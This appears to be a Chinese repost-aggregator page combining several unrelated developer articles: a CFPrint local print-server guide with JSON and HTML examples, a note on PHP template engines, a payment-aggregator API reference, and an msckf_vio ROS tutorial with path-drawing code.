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" } ] }, { "Name": "Table2", "Cols": [ { "type": "int", "size": 0, "name": "NO", "required": false }, { "type": "float", "size": 0, "name": "订单编号", "required": false }, { "type": "integer", "size": 0, "name": "下单日期", "required": false }, { "type": "str", "size": 255, "name": "下单平台", "required": false } ], "Data": [ { "NO": 1, "订单编号": 200303900791, "下单日期": "2017-01-20", "下单平台": "天猫" }, { "NO": 2, "订单编号": 200303900792, "下单日期": "2017-01-20", "下单平台": "京东" } ] } ] } 五、调用示例: <!-- ★★★ 模式1 ★★★ --> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统</h2> <h3>打印测试(模式1)</h3> <div> <input type="button" id="btnPrint" value="打印" onClick="doSend(_reportData);" /> </div> </div> <div id="output"></div> </body> <script type="text/javascript"> //定义数据脚本 var _reportData = '{"template":"waybill.fr3","Cols":[{"type":"str","size":255,"name":"HAWB","required":false},<这里省略1000字> ]}'; //在浏览器控制台输出调试信息 console.log("reportData = " + _reportData); </script> <script language="javascript" type="text/javascript" src="cfprint.min.js"></script> <script language="javascript" type="text/javascript" src="cfprint_ext.js"></script> <script language="javascript" type="text/javascript"> /下面四个参数必须放在myreport.js脚本后面,以覆盖myreport.js中的默认值/ var _delay_send = 1000; //发送打印服务器前延时时长,-1则表示不自动打印 var _delay_close = 1000; //打印完成后关闭窗口的延时时长, -1则表示不关闭 var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 </script> </html> <!-- ★★★ 模式2 ★★★ --> <?php //如果有php运行环境,只需把该文件扩展名改成 .php,然后上传到web目录即可在真实服务器上测试 header("Access-Control-Allow-Origin: "); ?> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> <style type="text/css"> output {font-size: 12px; background-color:F0FFF0;} </style> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统(Ver 1.3.0)</h2> <h3>打印测试(模式2)</h3> <div style="line-height: 1.5;"> <div style="width: 70%; text-align: left;"> <b>一、首先按下列步骤设置:</b><br/> 1、运行打印服务器;<br/> 2、按“停止”按钮停止服务;<br/> 3、打开“设置”区;<br/> 4、在“常用参数-->服务模式”中,选择“模式2”;<br/> 5、按“启动”按钮启动服务。 </div> <div style="width: 70%; text-align: left;"> <b>二、按本页的“打印”按钮开始打印。</b><br/> </div><br/> <input type="button" id="btnPrint" value="打印" /><br/><br/> <div style="width: 70%; text-align: left; font-size: 12px;"> 由于JavaScript在不同域名下访问会出现由来已久的跨域问题,所以正式部署到服务器使用时,要解决跨域问题。<br/> 对于IE8以上版本浏览器,只需增加一个reponse头:Access-Control-Allow-Origin即可,而对于php、jsp、asp/aspx等动态语言而言,增加一个response头是非常简单的事,例如:<br/> <b>在php:</b><br/><span style="color: red;"> <?php <br/> header("Access-Control-Allow-Origin: ");<br/> ?><br/> </span> <b>在jsp:</b><br/><span style="color: red;"> <% <br/> response.setHeader("Access-Control-Allow-Origin", ""); <br/> %><br/> </span> <b>在asp.net中:</b><br/><span style="color: red;"> Response.AppendHeader("Access-Control-Allow-Origin", ""); </span>,<br/>其他语言里,大家请自行搜索“ajax跨域”。而对于IE8以下的浏览器,大家可以自行搜索“IE6+Ajax+跨域”寻找解决办法吧,也可以联系我们帮助。 </div> </div> </div> <div id="output"></div> </body> <!-- 引入模式2所需的javascript支持库 --> <script type="text/javascript" src="cfprint_mode2.min.js" charset="UTF-8"></script> <!-- 构造报表数据 --> <script type="text/javascript"> var _reportData = '{"template":"waybill.fr3","ver":3, "Tables":[ {"Name":"Table1", "Cols":[{"type":"str","size":255,"name":"HAWB","required":false},{"type":"int","size":0,"name":"NO","required":false},{"type":"float","size":0,"name":"报关公司面单号","required":false},{"type":"integer","size":0,"name":"公司内部单号","required":false},{"type":"str","size":255,"name":"发件人","required":false},{"type":"str","size":255,"name":"发件人地址","required":false},{"type":"str","size":255,"name":"发件人电话","required":false},{"type":"str","size":255,"name":"发货国家","required":false},{"type":"str","size":255,"name":"收件人","required":false},{"type":"str","size":255,"name":"收件人地址","required":false},{"type":"str","size":255,"name":"收件人电话","required":false},{"type":"str","size":255,"name":"收货人证件号码","required":false},{"type":"str","size":255,"name":"收货省份","required":false},{"type":"float","size":0,"name":"总计费重量","required":false},{"type":"int","size":0,"name":"总件数","required":false},{"type":"float","size":0,"name":"申报总价(CNY)","required":false},{"type":"float","size":0,"name":"申报总价(JPY)","required":false},{"type":"int","size":0,"name":"件数1","required":false},{"type":"str","size":255,"name":"品名1","required":false},{"type":"float","size":0,"name":"单价1(JPY)","required":false},{"type":"str","size":255,"name":"单位1","required":false},{"type":"float","size":0,"name":"申报总价1(CNY)","required":false},{"type":"float","size":0,"name":"申报总价1(JPY)","required":false},{"type":"int","size":0,"name":"件数2","required":false},{"type":"str","size":255,"name":"品名2","required":false},{"type":"float","size":0,"name":"单价2(JPY)","required":false},{"type":"str","size":255,"name":"单位2","required":false},{"type":"float","size":0,"name":"申报总价2(CNY)","required":false},{"type":"float","size":0,"name":"申报总价2(JPY)","required":false},{"type":"int","size":0,"name":"件数3","required":false},{"type":"str","size":255,"name":"品名3","required":false},{"type":"float","size":0,"name":"单价3(JPY)","required":false},{"type":"str","size":255,"name":"单位3","required":false},{"type":"float","size":0,"name":"申报总价3(CNY)","required":false},{"type":"float","size":0,"name":"申报总价3(JPY)","required":false},{"type":"int","size":0,"name":"件数4","required":false},{"type":"str","size":255,"name":"品名4","required":false},{"type":"float","size":0,"name":"单价4(JPY)","required":false},{"type":"str","size":255,"name":"单位4","required":false},{"type":"float","size":0,"name":"申报总价4(CNY)","required":false},{"type":"float","size":0,"name":"申报总价4(JPY)","required":false},{"type":"int","size":0,"name":"件数5","required":false},{"type":"str","size":255,"name":"品名5","required":false},{"type":"float","size":0,"name":"单价5(JPY)","required":false},{"type":"str","size":255,"name":"单位5","required":false},{"type":"float","size":0,"name":"申报总价5(CNY)","required":false},{"type":"float","size":0,"name":"申报总价5(JPY)","required":false},{"type":"str","size":255,"name":"参考号","required":false},{"type":"AutoInc","size":0,"name":"ID","required":false}],"Data":[{"公司内部单号":730293,"发货国家":"日本","单价1(JPY)":null,"申报总价2(JPY)":null,"单价4(JPY)":null,"申报总价2(CNY)":null,"申报总价5(JPY)":null,"报关公司面单号":200303900791,"申报总价5(CNY)":null,"收货人证件号码":null,"申报总价1(JPY)":null,"单价3(JPY)":null,"申报总价1(CNY)":null,"申报总价4(JPY)":null,"申报总价4(CNY)":null,"收件人电话":"182-1758-9999","收件人地址":"上海市闵行区虹梅南路1660弄蔷薇八村139号502室","HAWB":"860014010055","发件人电话":"03-3684-9999","发件人地址":" 1-1-13,Kameido,Koto-ku,Tokyo","NO":3,"ID":3,"单价2(JPY)":null,"申报总价3(JPY)":null,"单价5(JPY)":null,"申报总价3(CNY)":null,"收货省份":null,"申报总价(JPY)":null,"申报总价(CNY)":null,"总计费重量":3.20,"收件人":"张三丰2","总件数":13,"品名5":null,"品名4":null,"品名3":null,"品名2":null,"品名1":"纸尿片","参考号":null,"发件人":"NAKAGAWA SUMIRE 2","单位5":null,"单位4":null,"单位3":null,"单位2":null,"单位1":null,"件数5":null,"件数4":null,"件数3":3,"件数2":null,"件数1":10},{"公司内部单号":730291,"发货国家":"日本","单价1(JPY)":null,"申报总价2(JPY)":null,"单价4(JPY)":null,"申报总价2(CNY)":null,"申报总价5(JPY)":null,"报关公司面单号":200303900789,"申报总价5(CNY)":null,"收货人证件号码":null,"申报总价1(JPY)":null,"单价3(JPY)":null,"申报总价1(CNY)":null,"申报总价4(JPY)":null,"申报总价4(CNY)":null,"收件人电话":"182-1758-9999","收件人地址":"上海市闵行区虹梅南路1660弄蔷薇八村139号502室","HAWB":"860014010035","发件人电话":"03-3684-9999","发件人地址":" 1-1-13,Kameido,Koto-ku,Tokyo","NO":1,"ID":1,"单价2(JPY)":null,"申报总价3(JPY)":null,"单价5(JPY)":null,"申报总价3(CNY)":null,"收货省份":null,"申报总价(JPY)":null,"申报总价(CNY)":null,"总计费重量":3.20,"收件人":"张三丰","总件数":13,"品名5":null,"品名4":null,"品名3":null,"品名2":null,"品名1":"纸尿片","参考号":null,"发件人":"NAKAGAWA SUMIRE","单位5":null,"单位4":null,"单位3":null,"单位2":null,"单位1":null,"件数5":null,"件数4":null,"件数3":3,"件数2":null,"件数1":10},{"公司内部单号":730292,"发货国家":"日本","单价1(JPY)":null,"申报总价2(JPY)":null,"单价4(JPY)":null,"申报总价2(CNY)":null,"申报总价5(JPY)":null,"报关公司面单号":200303900790,"申报总价5(CNY)":null,"收货人证件号码":null,"申报总价1(JPY)":null,"单价3(JPY)":null,"申报总价1(CNY)":null,"申报总价4(JPY)":null,"申报总价4(CNY)":null,"收件人电话":"182-1758-9999","收件人地址":"上海市闵行区虹梅南路1660弄蔷薇八村139号502室","HAWB":"860014010045","发件人电话":"03-3684-9999","发件人地址":" 1-1-13,Kameido,Koto-ku,Tokyo","NO":2,"ID":2,"单价2(JPY)":null,"申报总价3(JPY)":null,"单价5(JPY)":null,"申报总价3(CNY)":null,"收货省份":null,"申报总价(JPY)":null,"申报总价(CNY)":null,"总计费重量":3.20,"收件人":"张无忌","总件数":13,"品名5":null,"品名4":null,"品名3":null,"品名2":null,"品名1":"纸尿片","参考号":null,"发件人":"NAKAGAWA SUMIRE 1","单位5":null,"单位4":null,"单位3":null,"单位2":null,"单位1":null,"件数5":null,"件数4":null,"件数3":3,"件数2":null,"件数1":10}]}]}'; if(window.console) console.log("reportData = " + _reportData); </script> <!-- 设置服务器参数 --> <script language="javascript" type="text/javascript"> var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 var _url = "http://"+cfprint_addr+":"+cfprint_port; </script> <!-- 编写回调函数用以处理服务器返回的数据 --> <script type="text/javascript"> / 参数: readyState: XMLHttpRequest的状态 httpStatus: 服务端返回的http状态 responseText: 服务端返回的内容 / var callbackSuccess = function(readyState, httpStatus, responseText){ if (httpStatus === 200) { //{"result": 1, "message": "打印完成"} var response = CFPrint.parseJSON(responseText); alert(response.message+", 状态码["+response.result+"]"); }else{ alert('打印失败,HTTP状态代码是:'+httpStatus); } } / 参数: message: 错误信息 / var callbackFailed = function(message){ alert('发送打印任务出错: ' + message); } </script> <!-- 调用发送打印请求功能 --> <script type="text/javascript"> (function(){ document.getElementById("btnPrint").onclick = function() { CFPrint.outputid = "output"; //指定调试信息输出div的id CFPrint.SendRequest(_url, _reportData, callbackSuccess, callbackFailed); //发送打印请求 }; })(); </script> </html> 六、模板设计器(重要!重要!!,好多朋友都找不到设计器入口) 在主界面上,双击右下角的“设计”两个字,即可打开模板设计工具箱,在工具箱有三个按钮和一个大文本框。三个按钮的作用分别是: 设计:以大文本框中的json数据为数据源,打开模板设计器窗口; 预览:以大文本框中的json数据为数据源,预览当前所用模板的打印效果; 打印:以大文本框中的json数据为数据源,向打印机输出当前所用模板生成的报表; 以后将会有详细的模板设计教程发布,如果您遇到紧急的难题,请向作者咨询。 本篇文章为转载内容。原文链接:https://blog.csdn.net/chensongmol/article/details/76087600。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-01 18:34:12
234
转载
转载文章
随着技术的发展,PHP模板引擎的选择与使用在现代Web开发中仍然占据着重要地位。近年来,除了文中提及的phplib、Smarty和Discuz!模板机制外,新兴的Twig模板引擎受到了广泛的关注。作为Symfony框架的一部分,Twig以其安全、高性能及灵活的语法结构赢得了开发者们的青睐,它强调了模板设计的逻辑性和可维护性,并通过沙箱模式保障了运行时的安全。 同时,在追求极致性能和简洁设计的趋势下,原生PHP模板渲染方案也逐渐回归大众视野。例如,Laravel框架中的Blade模板引擎,结合了PHP的强大功能与简洁明快的模板语言,为开发者提供了高效的开发体验。 此外,随着JIT(Just In Time)编译器的引入,PHP 8版本在执行效率上有了显著提升,这使得一些开发者重新思考是否有必要在所有项目中都采用独立模板引擎。对于小型项目或对响应速度有极高要求的应用场景,直接在PHP中编写和渲染模板可能成为更优选择。 值得一提的是,Serverless架构的兴起也影响了模板引擎的发展方向,以AWS Lambda为代表的无服务器计算平台促使开发者更加关注资源利用率和启动速度,从而催生出一系列针对轻量级环境优化的模板解决方案。 总之,模板引擎的选择不仅取决于项目的具体需求,还应考虑当下技术发展的趋势和实际应用环境的要求。在深入理解各类模板引擎特性的基础上,开发者可以更好地权衡易用性、效率和安全性,以便在实际项目中做出最佳决策。
2023-10-07 14:43:46
108
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 支付接口介绍 使用此接口可以实现支付宝、QQ钱包、微信支付与财付通的即时到账,免签约,无需企业认证。接口API地址是:http://pay.lqan.cn/ 本文阅读对象:商户系统(在线购物平台、人工收银系统、自动化智能收银系统或其他)集成凉秋易支付涉及的技术架构师,研发工程师,测试工程师,系统运维工程师。 接口申请方式 共有两种接口模式: (一)普通支付商户 可以获得一个支付商户。请进行注册申请,申请之后会将商户ID和商户KEY给你! 协议规则 传输方式:HTTP 数据格式:JSON 签名算法:MD5 字符编码:UTF-8 [API]查询商户信息与结算规则 URL地址:http://pay.lqan.cn/api.php?act=query&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringquery此API固定值 商户IDpid是Int1001 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 商户IDpidInt1001所创建的商户ID 商户密钥keyString(32)89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i所创建的商户密钥 商户类型typeInt1此值暂无用 商户状态activeInt11为正常,0为封禁 商户余额moneyString0.00商户所拥有的余额 结算账号accountString1070077170@qq.com结算的支付宝账号 结算姓名usernameString张三结算的支付宝姓名 满多少自动结算settle_moneyString30此值为系统预定义 手动结算手续费settle_feeString1此值为系统预定义 每笔订单分成比例money_rateString98此值为系统预定义 [API]查询结算记录 URL地址:http://pay.lqan.cn/api.php?act=settle&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringsettle此API固定值 商户IDpid是Int1001 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询结算记录成功! 结算记录dataArray结算记录列表 [API]查询单个订单 URL地址:http://pay.lqan.cn/api.php?act=order&pid={商户ID}&out_trade_no={商户订单号}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringorder此API固定值 商户IDpid是Int1001 商户订单号out_trade_no是String20160806151343349 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询订单号成功! 易支付订单号trade_noString2016080622555342651凉秋易支付订单号 商户订单号out_trade_noString20160806151343349商户系统内部的订单号 支付方式typeStringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商户IDpidInt1001发起支付的商户ID 创建订单时间addtimeString2016-08-06 22:55:52 完成交易时间endtimeString2016-08-06 22:55:52 商品名称nameStringVIP会员 商品金额moneyString1.00 支付状态statusInt01为支付成功,0为未支付 [API]批量查询订单 URL地址:http://pay.lqan.cn/api.php?act=orders&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringorders此API固定值 商户IDpid是Int1001 查询订单数量limit否Int20返回的订单数量,最大50 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询结算记录成功! 订单列表dataArray订单列表 [API]支付订单退款 URL地址:http://pay.lqan.cn/api.php?act=refund&pid={商户ID}&out_trade_no={商户订单号}&sign={签名字符串} 只支持微信官方、QQ钱包官方、当面付退款 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringrefund此API固定值 商户IDpid是Int1001 商户订单号out_trade_no是Int1000 退款原因desc否String 退款金额money否Double20.00不填默认退全款 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString退款成功! 发起支付请求 URL地址:http://pay.lqan.cn/submit.php?pid={商户ID}&type={支付方式}&out_trade_no={商户订单号}¬ify_url={服务器异步通知地址}&return_url={页面跳转通知地址}&name={商品名称}&money={金额}&sitename={网站名称}&sign={签名字符串}&sign_type=MD5 请求参数说明: 字段名变量名必填类型示例值描述 商户IDpid是Int1001 支付方式type是Stringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商户订单号out_trade_no是String20160806151343349 异步通知地址notify_url是Stringhttp://域名/notify_url.php服务器异步通知地址 跳转通知地址return_url是Stringhttp://域名/return_url.php页面跳转通知地址 商品名称name是StringVIP会员 商品金额money是String1.00 网站名称sitename否String某某某平台 签名字符串sign是String202cb962ac59075b964b07152d234b70签名算法与支付宝签名算法相同 签名类型sign_type是StringMD5默认为MD5 支付结果通知 通知类型:服务器异步通知(notify_url)、页面跳转通知(return_url) 请求方式:GET 特别说明:回调成功之后请输出 SUCCESS字符串,如果没有收到商户响应的SUCCESS字符串,系统将通过策略重新通知5次,通知频率为15s/60s/3m/30m/1h 请求参数说明: 字段名变量名必填类型示例值描述 商户IDpid是Int1001 易支付订单号trade_no是String20160806151343349021凉秋易支付订单号 商户订单号out_trade_no是String20160806151343349商户系统内部的订单号 支付方式type是Stringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商品名称name是StringVIP会员 商品金额money是String1.00 支付状态trade_status是StringTRADE_SUCCESS 签名字符串sign是String202cb962ac59075b964b07152d234b70签名算法与支付宝签名算法相同 签名类型sign_type是StringMD5默认为MD5 签名算法 请对参数按照键名进行降序排序(a-z)sign sign_type 和空值不进行签名!。 排序后请操作参数生成或拼接一个url请求字符串 例如 a=b&c=d&e=f (Url值不能携带参数!不要进行urlencode) 再将拼接好的请求字符串与平台生成的Key进行MD5加密得出sign签名参数 MD5 ( a=b&c=d&e=f + KEY ) (注意:+ 为各语言的拼接符!不是字符!) 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39620334/article/details/115933932。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-18 16:55:58
91
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 s_msckf:采用多状态约束的双目vio系统 !!!注意imuCallback:接收IMU数据,将IMU数据存到imu_msg_buffer中,这里只会利用开头200帧IMU数据进行静止初始化,不做其他处理。featureCallback:接收双目特征,进行后端处理。利用IMU进行EKF Propagation,利用双目特征进行EKF Update。静止初始化(initializeGravityAndBias):将前200帧加速度和角速度求平均, 平均加速度的模值g作为重力加速度, 平均角速度作为陀螺仪的bias, 计算重力向量(0,0,-g)和平均加速度之间的夹角(旋转四元数), 标定初始时刻IMU系与world系之间的夹角. 因此MSCKF要求前200帧IMU是静止不动的 sudo apt-get install libsuitesparse-devcd ~/catkin_ws/srcgit clone KumarRobotics/msckf_viocd ..catkin_make --pkg msckf_vio --cmake-args -DCMAKE_BUILD_TYPE=Release激活环境变量很关键source /devel/setup.bashroslaunch msckf_vio msckf_vio_euroc.launch注意文件路径rosrun rviz rviz -d rviz/rviz_euroc_config.rviz (改成你自己的rviz文件)rosbag play ~/data/euroc/MH_04_difficult.bag(改成你自己的rosbag文件) 可以看到,s_msckf的输出是没有轨迹的,可以增加如下脚本,将/odom存为/path,在rviz订阅即可可视化轨迹 脚本来自其issue:https://github.com/KumarRobotics/msckf_vio/issues/13 !/usr/bin/env pythonimport rospyfrom nav_msgs.msg import Odometry, Pathfrom geometry_msgs.msg import PoseStampedclass OdomToPath:def __init__(self):self.path_pub = rospy.Publisher('/slz_path', Path, latch=True, queue_size=10)self.odom_sub = rospy.Subscriber('/firefly_sbx/vio/odom', Odometry, self.odom_cb, queue_size=10)self.path = Path()def odom_cb(self, msg):cur_pose = PoseStamped()cur_pose.header = msg.headercur_pose.pose = msg.pose.poseself.path.header = msg.headerself.path.poses.append(cur_pose)self.path_pub.publish(self.path)if __name__ == '__main__':rospy.init_node('odom_to_path')odom_to_path = OdomToPath()rospy.spin() 或者增加一个draw_path的功能包: cpp为: include <stdio.h>include <stdlib.h>include <unistd.h>include <ros/ros.h>include <ros/console.h>include <nav_msgs/Path.h>include <std_msgs/String.h>include <nav_msgs/Odometry.h>include <geometry_msgs/Quaternion.h>include <geometry_msgs/PoseStamped.h>nav_msgs::Path path;ros::Publisher path_pub;ros::Subscriber odomSub;ros::Subscriber odom_raw_Sub;void odomCallback(const nav_msgs::Odometry::ConstPtr& odom){geometry_msgs::PoseStamped this_pose_stamped;this_pose_stamped.header= odom->header;this_pose_stamped.pose = odom->pose.pose;//this_pose_stamped.pose.position.x = odom->pose.pose.position.x;//this_pose_stamped.pose.position.y = odom->pose.pose.position.y;//this_pose_stamped.pose.orientation = odom->pose.pose.orientation;//this_pose_stamped.header.stamp = ros::Time::now();//this_pose_stamped.header.frame_id = "world";//frame_id 是消息中与数据相关联的参考系id,例如在在激光数据中,frame_id对应激光数据采集的参考系 path.header= this_pose_stamped.header;path.poses.push_back(this_pose_stamped);//path.header.stamp = ros::Time::now();//path.header.frame_id= "world";path_pub.publish(path);//printf("path_pub ");//printf("odom %.3lf %.3lf\n",odom->pose.pose.position.x,odom->pose.pose.position.y);}int main (int argc, char argv){ros::init (argc, argv, "showpath");ros::NodeHandle ph;path_pub = ph.advertise<nav_msgs::Path>("/trajectory",10, true);odomSub = ph.subscribe<nav_msgs::Odometry>("/firefly_sbx/vio/odom", 10, odomCallback);//ros::Rate loop_rate(50);while (ros::ok()){ros::spinOnce(); // check for incoming messages//loop_rate.sleep();}return 0;} cmakelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> 